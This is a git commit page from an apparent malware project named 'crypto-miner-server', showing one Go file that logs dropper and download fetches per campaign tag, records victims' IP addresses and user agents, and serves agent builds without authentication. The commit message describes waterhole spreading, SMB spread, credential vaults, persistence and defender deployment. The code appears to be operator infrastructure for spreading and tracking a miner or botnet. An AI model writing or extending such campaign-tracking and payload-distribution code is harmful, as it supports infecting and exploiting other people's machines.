feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
175
server/internal/db/campaign.go
Normal file
175
server/internal/db/campaign.go
Normal file
@@ -0,0 +1,175 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
campaign = sanitizeCampaign(campaign)
|
||||
if campaign == "" {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, ip, userAgent, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func sanitizeCampaign(c string) string {
|
||||
c = strings.TrimSpace(c)
|
||||
if len(c) > 64 {
|
||||
c = c[:64]
|
||||
}
|
||||
// Allow alphanumeric, dash, underscore, dot
|
||||
var b strings.Builder
|
||||
for _, r := range c {
|
||||
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
|
||||
type CampaignHitSummary struct {
|
||||
Campaign string `json:"campaign"`
|
||||
Count int `json:"count"`
|
||||
LastHit string `json:"last_hit"`
|
||||
}
|
||||
|
||||
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
||||
if limit <= 0 || limit > 500 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
|
||||
FROM campaign_hits
|
||||
GROUP BY campaign
|
||||
ORDER BY cnt DESC
|
||||
LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []CampaignHitSummary
|
||||
for rows.Next() {
|
||||
var s CampaignHitSummary
|
||||
var lastRaw string
|
||||
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else {
|
||||
s.LastHit = lastRaw
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
||||
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
||||
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
||||
if allEnabled {
|
||||
return d.ListBuilds(50)
|
||||
}
|
||||
if latestN <= 0 {
|
||||
latestN = 3
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []*models.BuildRecord
|
||||
|
||||
add := func(b *models.BuildRecord) {
|
||||
if b == nil || seen[b.ID] {
|
||||
return
|
||||
}
|
||||
seen[b.ID] = true
|
||||
out = append(out, b)
|
||||
}
|
||||
|
||||
// Pinned builds
|
||||
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer pinnedRows.Close()
|
||||
for pinnedRows.Next() {
|
||||
b, err := scanBuild(pinnedRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Operator-marked public
|
||||
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer publicRows.Close()
|
||||
for publicRows.Next() {
|
||||
b, err := scanBuild(publicRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Latest N by created_at
|
||||
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
|
||||
if err == nil {
|
||||
defer latestRows.Close()
|
||||
for latestRows.Next() {
|
||||
b, err := scanBuild(latestRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if out == nil {
|
||||
out = []*models.BuildRecord{}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
|
||||
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
|
||||
if allEnabled {
|
||||
_, err := d.GetBuild(id)
|
||||
return err == nil, err
|
||||
}
|
||||
builds, err := d.ListPublicBuilds(false, latestN)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
for _, b := range builds {
|
||||
if b.ID == id {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// SetBuildPublic toggles the operator public flag on a build.
|
||||
func (d *Database) SetBuildPublic(id string, public bool) error {
|
||||
val := 0
|
||||
if public {
|
||||
val = 1
|
||||
}
|
||||
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user